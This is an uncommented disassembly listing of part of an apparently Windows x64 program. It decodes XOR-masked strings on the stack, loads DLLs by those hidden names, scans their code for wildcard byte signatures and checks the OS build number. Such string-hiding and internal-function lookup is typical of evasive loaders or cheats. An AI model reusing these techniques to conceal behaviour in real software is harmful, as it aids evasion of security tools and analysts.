movabs rax, 0x67bfc83976743742
mov qword [rbp + 0xa080], rax
movabs rax, 0x614ce02674f11be6
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x3f00]
lea rcx, [rbp + 0x70]
mov r8, r15
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x14003a4b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3f00]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x288], rax
movabs rax, 0x13ef728056c19db3
mov qword [rbp + 0xa040], rax
movabs rax, 0x683dc3f8999932bf
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x618e30f02680d5e0
mov qword [rbp + 0xa060], rax
movabs rax, 0x6858a499eaea57f2
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x80], xmm2
lea rax, [rbp + 0x38c0]
lea rcx, [rbp + 0x70]
mov r8, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x14003a5a0
lea r8, [rbp + 0x38c0]
mov rdx, qword [rbp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x290], rax
mov rax, qword [0x1402007b8]
mov qword [rdi + 0x80], rax
xor edx, edx
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rdi + 0x88], rax
mov eax, dword [0x7ffe0260]
mov dword [rsp + 0x30], eax
movabs rcx, 0x1999a7c97ab32c35
mov qword [rbp + 0xa040], rcx
movabs rax, 0x2bbb5061326ce48f
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x37fcd5a619de5b51
mov qword [rbp + 0xa060], rax
movabs rax, 0x2bbb5061320088eb
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x1b00]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x1b00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
test rax, rax
je 0x140034dbd
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + r12], 0x4550
jne 0x140034dbd
lea r9, [r12 + 0x108]
add r9, rax
je 0x14003a855
movzx eax, word [rax + r12 + 6]
lea rcx, [rax + rax*4]
lea r10, [r9 + rcx*8]
cmp r9, r10
jae 0x14003a855
movabs rax, 0x229630059ef877
mov qword [rbp + 0xa000], rax
movabs rcx, 0xab1115bca3f9c9a
mov qword [rbp + 0xa008], rcx
movabs rax, 0x2296447dfb8c59
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movaps xmm1, xmmword [rbp - 0x70]
movaps xmm2, xmmword [rbp - 0x80]
movaps xmm3, xmmword [rsp + 0x70]
movaps xmm4, xmmword [rsp + 0x60]
movaps xmm5, xmmword [rsp + 0x50]
movdqa xmm6, xmmword [rbp + 0xa010]
movdqa xmm7, xmmword [rbp + 0xa000]
movdqa xmm0, xmm6
pxor xmm0, xmm7
movaps xmmword [rbp + 0xa040], xmm0
movaps xmmword [rbp + 0xa050], xmm5
movaps xmmword [rbp + 0xa060], xmm4
movaps xmmword [rbp + 0xa070], xmm3
movaps xmmword [rbp + 0xa080], xmm2
movaps xmmword [rbp + 0xa090], xmm1
mov rax, r9
lea r8, [rbp + 0xa040]
sub r8, r9
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14003a833
inc rax
test ecx, ecx
jne 0x14003a820
test edx, edx
je 0x14003a842
add r9, 0x28
cmp r9, r10
jb 0x14003a7e1
jmp 0x14003a855
mov eax, dword [r9 + 0x10]
mov ecx, dword [r9 + 0xc]
add rax, qword [rbp - 0x60]
add rcx, rax
mov qword [rdi + 8], rcx
mov dword [rbp + 0xa000], 0xcc058d48
mov dword [rbp + 0xa004], 0x48cccccc
mov dword [rbp + 0xa008], 0xcc194489
mov dword [rbp + 0xa00c], 0x18438b48
mov dword [rbp + 0xa010], 0x4486348
mov dword [rbp + 0xa014], 0xcccc918d
mov dword [rbp + 0xa018], 0x5489cccc
mov dword [rbp + 0xa01c], 0x8b481419
mov dword [rbp + 0xa020], 0x63481843
mov dword [rbp + 0xa024], 0x918d0848
mov dword [rbp + 0xa028], 0xcccccccc
mov dword [rbp + 0xa02c], 0x14195489
mov dword [rbp + 0xa030], 0x18438b48
mov byte [rbp + 0xa034], 0x48
mov dword [rbp + 0xa040], 0xcc058d48
mov dword [rbp + 0xa044], 0x48cccccc
mov dword [rbp + 0xa048], 0xcc194489
mov dword [rbp + 0xa04c], 0x8438b48
mov dword [rbp + 0xa050], 0x4486348
mov dword [rbp + 0xa054], 0xcccc918d
mov dword [rbp + 0xa058], 0x5489cccc
mov dword [rbp + 0xa05c], 0x8b480419
mov dword [rbp + 0xa060], 0x63480843
mov dword [rbp + 0xa064], 0x918d0848
mov dword [rbp + 0xa068], 0xcccccccc
mov dword [rbp + 0xa06c], 0x4195489
mov dword [rbp + 0xa070], 0x8438b48
mov byte [rbp + 0xa074], 0x48
xor ecx, ecx
mov eax, dword [rsp + 0x30]
cmp eax, 0x4a61
jb 0x14003acd5
lea r8d, [rcx + 0x35]
mov rcx, r12
cmp eax, 0x4a65
ja 0x14003ab3e
lea rdx, [rbp + 0xa000]
call fcn.140050080
test rax, rax
jne 0x14003ab1b
movabs rax, 0x207c578ce4caed
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe6fc43a25a38cda
mov qword [rbp + 0xa008], rcx
movabs rax, 0x207c25e396b8a8
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0xa20], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xa30], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xa40], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xa50], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xa60], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xa70], xmm0
movabs rax, 0x81efad2847b76f7
mov qword [rbp + 0xa040], rax
movabs rcx, 0x1c3cc4109c599aef
mov qword [rbp + 0xa048], rcx
xorps xmm1, xmm1
movabs rax, 0x22edaefa42c3eb4
mov qword [rbp + 0xa060], rax
mov qword [rbp + 0xa068], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x1620], xmm0
movaps xmmword [rbp + 0x1630], xmm2
movaps xmm0, xmmword [rbp + 0x3f0]
movaps xmmword [rbp + 0x1640], xmm0
movaps xmm1, xmmword [rbp + 0x400]
movaps xmmword [rbp + 0x1650], xmm1
movaps xmm0, xmmword [rbp + 0x410]
movaps xmmword [rbp + 0x1660], xmm0
movaps xmm1, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x1670], xmm1
movaps xmm0, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x1680], xmm0
movaps xmm1, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0x1690], xmm1
movaps xmm0, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0x16a0], xmm0
lea r8, [rbp + 0xa20]
lea rdx, [rbp + 0x1620]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140034dbd
mov dword [rdi + 0x90], 0x118
mov dword [rdi + 0x94], 0x80
mov dword [rdi + 0x98], __WSAFDIsSet
jmp 0x14003acd8
lea rdx, [rbp + 0xa040]
call fcn.140050080
test rax, rax
jne 0x14003acb5
movabs rax, 0x25e3e73b769969
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe751e202170b1d7
mov qword [rbp + 0xa008], rcx
movabs rax, 0x25e3955404eb2c
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xa80], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xa90], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xaa0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xab0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xac0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xad0], xmm0
movabs rax, 0xd6d0e6d54904da4
mov qword [rbp + 0xa040], rax
movabs rcx, 0xac68f9760dec1fc
mov qword [rbp + 0xa048], rcx
xorps xmm1, xmm1
movabs rax, 0x75d2e5074c705e7
mov qword [rbp + 0xa060], rax
mov qword [rbp + 0xa068], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x3d0], xmm0
movaps xmmword [rbp + 0x3e0], xmm2
movaps xmm0, xmmword [rbp + 0x3f0]
movaps xmmword [rbp + 0x3f0], xmm0
movaps xmm1, xmmword [rbp + 0x400]
movaps xmmword [rbp + 0x400], xmm1
movaps xmm0, xmmword [rbp + 0x410]
movaps xmmword [rbp + 0x410], xmm0
movaps xmm1, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x420], xmm1
movaps xmm0, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x430], xmm0
movaps xmm1, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0x440], xmm1
movaps xmm0, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0x450], xmm0
lea r8, [rbp + 0xa80]
lea rdx, [rbp + 0x3d0]
jmp 0x14003aafc
mov dword [rdi + 0x90], 0x1b0
mov dword [rdi + 0x94], Ordinal_200
mov dword [rdi + 0x98], Ordinal_211
jmp 0x14003acd8
mov rax, rcx
sub rax, r12
add rax, qword [rbp - 0x60]
mov qword [rdi], rax
je 0x140034dbd
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movabs rax, 0x67531de0b404d2
mov qword [rbp + 0xa040], rax
movabs rax, 0x7ea1b0bd90904b6c
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6449612e92d177a7
mov qword [rbp + 0xa060], rax
movabs rax, 0x7ea1b0bd90902700
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x1a50]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea rcx, [rbp + 0x1a50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
test rax, rax
jne 0x14003af15
movabs rax, 0x29f0eaeab3dc70
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe73ce4b54b2433e
mov qword [rbp + 0xa008], rcx
movabs rax, 0x29f09885c1ae35
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0xae0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xaf0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xb00], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xb10], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xb20], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xb30], xmm0
movabs rax, 0x3cff985d94f
mov qword [rbp + 0xa000], rax
movabs rcx, 0xda020f86c52ed
mov qword [rbp + 0xa008], rcx
movabs rax, 0x3cff3eab43c
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0x480], xmm0
movaps xmm0, xmmword [rbp + 0x490]
movaps xmmword [rbp + 0x490], xmm0
movaps xmm1, xmmword [rbp + 0x4a0]
movaps xmmword [rbp + 0x4a0], xmm1
movaps xmm0, xmmword [rbp + 0x4b0]
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmm1, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0x4c0], xmm1
lea r8, [rbp + 0xae0]
lea rdx, [rbp + 0x480]
jmp 0x14003aafc
mov dword [rbp + 0xa000], 0x38ec8348
mov dword [rbp + 0xa004], 0x44db3345
mov dword [rbp + 0xa008], 0xcccc1d39
mov dword [rbp + 0xa00c], 0x2e74cccc
mov dword [rbp + 0xa010], 0x48b4865
mov dword [rbp + 0xa014], 0xcccccc25
mov dword [rbp + 0xa018], 0x508b4ccc
mov byte [rbp + 0xa01c], 0x48
mov r8d, Ordinal_30
lea rdx, [rbp + 0xa000]
mov rcx, r12
call fcn.140050080
mov rcx, rax
sub rcx, r12
add rcx, r13
mov qword [rdi + 0x1c8], rcx
test rax, rax
jne 0x14003b0e4
movabs rax, 0x27e69538d1487d
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe79d0ec1b8699b8
mov qword [rbp + 0xa008], rcx
movabs rax, 0x27e6e757a33a38
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0xb40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xb50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xb60], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xb70], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xb80], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xb90], xmm0
movabs rax, 0xd05047dd1cba94b
mov qword [rbp + 0xa040], rax
movabs rcx, 0x1e51d1c8e39816ae
mov qword [rbp + 0xa048], rcx
xorps xmm1, xmm1
movabs rax, 0xd0f345decebeb06
mov qword [rbp + 0xa060], rax
mov qword [rbp + 0xa068], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x1480], xmm0
movaps xmmword [rbp + 0x1490], xmm2
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x14a0], xmm0
movaps xmm1, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x14b0], xmm1
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x14c0], xmm0
movaps xmm1, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x14d0], xmm1
movaps xmm0, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x14e0], xmm0
movaps xmm1, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x14f0], xmm1
lea r8, [rbp + 0xb40]
lea rdx, [rbp + 0x1480]
jmp 0x14003aafc
mov dword [rbp + 0xa000], 0x48ec8348
mov dword [rbp + 0xa004], 0xcc2444c7
mov dword [rbp + 0xa008], 0xcccccccc
mov dword [rbp + 0xa00c], 0x83ca8b4c
mov dword [rbp + 0xa010], 0xcccc2464
mov dword [rbp + 0xa014], 0x83c18b4c
mov word [rbp + 0xa018], 0x2464
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, [rbp + 0xa000]
mov rcx, r12
call fcn.140050080
mov rcx, rax
sub rcx, r12
add rcx, r13
mov qword [rdi + 0x1c0], rcx
test rax, rax
jne 0x14003b2ab
movabs rax, 0x288d1862d88de4
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe76c2e3bb265d0e
mov qword [rbp + 0xa008], rcx
movabs rax, 0x288d6a0daaffa1
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0xba0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xbb0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xbc0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xbd0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xbe0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xbf0], xmm0
movabs rax, 0x1958bf7fcefc2ebc
mov qword [rbp + 0xa040], rax
movabs rcx, 0x800defac5e3490e
mov qword [rbp + 0xa048], rcx
xorps xmm2, xmm2
movabs rax, 0x19528f5ff3dc79f9
mov qword [rbp + 0xa060], rax
mov qword [rbp + 0xa068], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0xa040]
pxor xmm1, xmmword [rbp + 0xa060]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x4d0], xmm1
movaps xmmword [rbp + 0x4e0], xmm2
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x4f0], xmm0
movaps xmm1, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x500], xmm1
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x510], xmm0
movaps xmm1, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x520], xmm1
movaps xmm0, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x530], xmm0
movaps xmm1, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x540], xmm1
lea r8, [rbp + 0xba0]
lea rdx, [rbp + 0x4d0]
jmp 0x14003aafc
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x104
lea rcx, [rbp + 0xa360]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor r12d, r12d
mov qword [rbp + 0x9ec8], r12
movdqa xmm0, xmmword [0x140114c40]
movdqu xmmword [rbp + 0x9ed8], xmm0
mov word [rbp + 0x9ec8], r12w
lea rax, [rbp + 0xa360]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x14003b301
lea rdx, [rbp + 0xa360]
lea rcx, [rbp + 0x9ec8]
call fcn.14005a180
nop
movabs rax, 0x31411ea88e84f1c
mov qword [rbp + 0x70], rax
movabs rax, 0x19c54286d22cb811
mov qword [rbp + 0x78], rax
movabs rax, 0x14e9424c2f3046d2
mov qword [rbp + 0x80], rax
movabs rax, 0x142b7dfe215886f3
mov qword [rbp + 0x88], rax
movabs rax, 0x15a3a30a3658be02
mov qword [rbp + 0x90], rax
movabs rax, 0xc7d1520c1ec680d
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], rsi
movabs rcx, 0xe0000000200374f7
mov qword [rbp + 0xa8], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
movabs rax, 0x367119388bb4f40
mov qword [rbp + 0xf0], rax
movabs rax, 0x19f642ebd249b865
mov qword [rbp + 0xf8], rax
movabs rax, 0x1480423b2f6c46e0
mov qword [rbp + 0x100], rax
movabs rax, 0x14407dcc216b869d
mov qword [rbp + 0x108], rax
movabs rax, 0x15c6a3793639be60
mov qword [rbp + 0x110], rax
movabs rax, 0xc0e1559c19f6823
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xa040], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
pxor xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xa050], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xa060], xmm0
movdqa xmm1, xmmword [rbp + 0x120]
pxor xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa070], xmm1
pxor xmm2, xmm6
movdqa xmmword [rbp + 0xa080], xmm2
pxor xmm3, xmm7
movdqa xmmword [rbp + 0xa090], xmm3
pxor xmm4, xmm8
movdqa xmmword [rbp + 0xa0a0], xmm4
pxor xmm9, xmm5
movdqa xmmword [rbp + 0xa0b0], xmm9
lea rax, [rbp + 0x70]
lea rcx, [rbp + 0xa040]
mov edx, 6
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003b4d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rax, [rbp + 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14003b540
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x9ec8]
call fcn.140059fa0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x9ccc44629061bcf
mov qword [rbp + 0xa040], rax
movabs rax, 0x7cf424228fad39af
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x68aeaf741a6872b8
mov qword [rbp + 0xa060], rax
movabs rax, 0x7cf4575bfc835cdc
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x80], xmm2
lea rcx, [rbp + 0xa040]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov qword [rbp + 0x570], r12
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x580], xmm0
mov byte [rbp + 0x570], 0
lea rax, [rbp + 0xa040]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003b690
lea rdx, [rbp + 0xa040]
lea rcx, [rbp + 0x570]
call fcn.14005a030
nop
lea rcx, [rbp + 0x570]
call fcn.140053a00
mov qword [rbp - 0x60], rax
lea rcx, [rbp + 0x570]
call fcn.14000b160
lea rcx, [rbp + 0x9ec8]
cmp qword [rbp + 0x9ee0], 8
cmovae rcx, qword [rbp + 0x9ec8]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov r12, rax
test rax, rax
jne 0x14003b812
movabs rax, 0x2b0afb9dcb8483
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe7ce6c484fa4722
mov qword [rbp + 0xa008], rcx
movabs rax, 0x2b0a89f2b9f6c6
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
